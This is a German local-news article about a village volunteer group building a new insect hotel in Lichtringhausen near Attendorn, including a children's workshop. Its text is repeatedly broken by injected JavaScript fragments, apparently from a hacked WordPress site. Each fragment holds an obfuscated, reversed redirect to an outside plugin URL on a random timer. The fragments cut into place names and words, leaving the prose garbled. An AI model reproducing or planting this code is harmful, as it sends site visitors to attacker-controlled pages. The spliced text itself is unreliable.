Skip to content Skip to main navigation Skip to footer

Neues Insektenhotel in Lichtringhausen

Schon viele Jahre gab es in Lichtringhausen ein Insektenhotel. Der letzte Stantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dort war zwischen Kirche und Turnhalle, unterhalb des (damals noch vorhandenen) Laubwaldes. Vor dem Insektenhotel, im Bereich der Bushaltestelle, wurde auch jedes Jahr durch die WIR-Gruppe eine größere Blumenwiese als Nahrungsquelle für die Insekten angelegt. Da dieses Insektenhotel mittlerweile recht baufällig geworden war, stand die WIR-Gruppe vor der Überlegung, eine neue Lösung zu suchen.

Der bisherige Stantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dort war wegen der Beschattung durch den Laubwald eher ungünstig. Deshalb sollte zunächst ein besserer Platz zur Aufstellung einer neuen Anlage gesucht werden. Bei einem Ortstermin mit dem damaligen Umweltbeauftragten der Stadt Attentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorn, Herrn Martin Plückebaum, wurde der Bereich der Zufahrt zur ehemaligen Grundschule „Am Daßte“ als idealer Aufstellplatz gefunden. Mit der Stadt Attentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorn wurde eine Vereinbarung getroffen, die die Aufstellung des Insektenhotels an dem neuen Stantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dort ermöglichte.

In der WIR-Gruppe erklärten sich dann die Mitglieder Walter Braunschneider, Jochen Kramer, Walter Kramer, Walter Lübke, Gerd Pahlke und Karl-Heinz Schulte bereit, diese Projekt zu gestalten.

Nach einigen Überlegungen zur Bauform entschied man in der Gruppe, sich an dem bereits auf dem Roscheid aufgestellten Modell zu orientieren. Die toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dortigen Erbauer Norbert Luke und Matthias Meißner waren damit einverstanden.

Bei der Auswahl der Materialien wurde darauf geachtet, dass das Bauwerk möglichst langlebig wurde und keinen ständigen Pflegeaufwand verursachte. So wurde der Rahmen aus druckimprägniertem Rundholz erstellt. Für Rückwand, Dach und Inneneinteilung wurden Lerchenholzbretter verwendet. Mit feuerverzinkten Bodenträgern wurde die Anlage in einem Fundament verankert.

Nachdem der Rohbau aufgestellt war wurde bei einem Arbeitseinsatz der WIR-Gruppe vor Ort ein zünftiges Richtfest gefeiert, bevor mit dem weiteren Ausbau begonnen wurde.

Schon frühzeitig wurde überlegt, gerade bei der Einrichtung des Insektenhotels Kinder einzubeziehen, um sie dadurch auch für Umwelt- und Naturschutz zu sensibilisieren. Im September 2021 fand dann mit fachlicher Unterstützung durch Frau Chiara Sopart und Herrn Patrick Dippler vom Tiefbauamt, Sachgebiet Klima, Umwelt, Mobilität, der Hansestadt Attentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorn ein Workshop statt. 16 Kinder zwischen 5 und 10 Jahren, jeweils unterstützt durch einen Eltern- oder Großelternteil, werkelten an einem Samstag mit Begeisterung an der Inneneinrichtung des Insektenhotels. Ausführlich wurde hier darüber berichtet.

Nach der Winterpause wurden dann im Frühjahr und Sommer die noch ausstehenden Arbeiten durch die Arbeitsgruppe ausgeführt. Dabei wurde auch eine Informationstafel aufgestellt, die auch für Kinder sehr anschaulich Informationen zu Insekten vermittelt.

Vor dem Insektenhotel wurde ein Staudenbeet angelegt, damit auch neugierige Besucher den nötigen Abstand halten und somit die Insekten nicht stören. Im Umfeld wurden noch insektenfreundliche Büsche gepflanzt und auch wieder eine große Wildblumenwiese angelegt. Hierbei bekam die Arbeitsgruppe dankenswerterweise wieder fachliche Unterstützung durch Herrn Karl Schulte vom Baubetriebshof der Stadt Attentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorn.

Alles in Allem ist es ein gelungenes Projekt. Schon jetzt ist erkennbar, dass zahlreiche Insekten die „neue Wohnung“ angenommen haben. Die Erbauer freuen sich, dass die Anlage inzwischen ein Blickfang geworden ist, der viele interessierte Besucher anlockt. Besonderer Dank gilt auch der Stadt Attentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorn für die finanzielle Förderung des Projektes.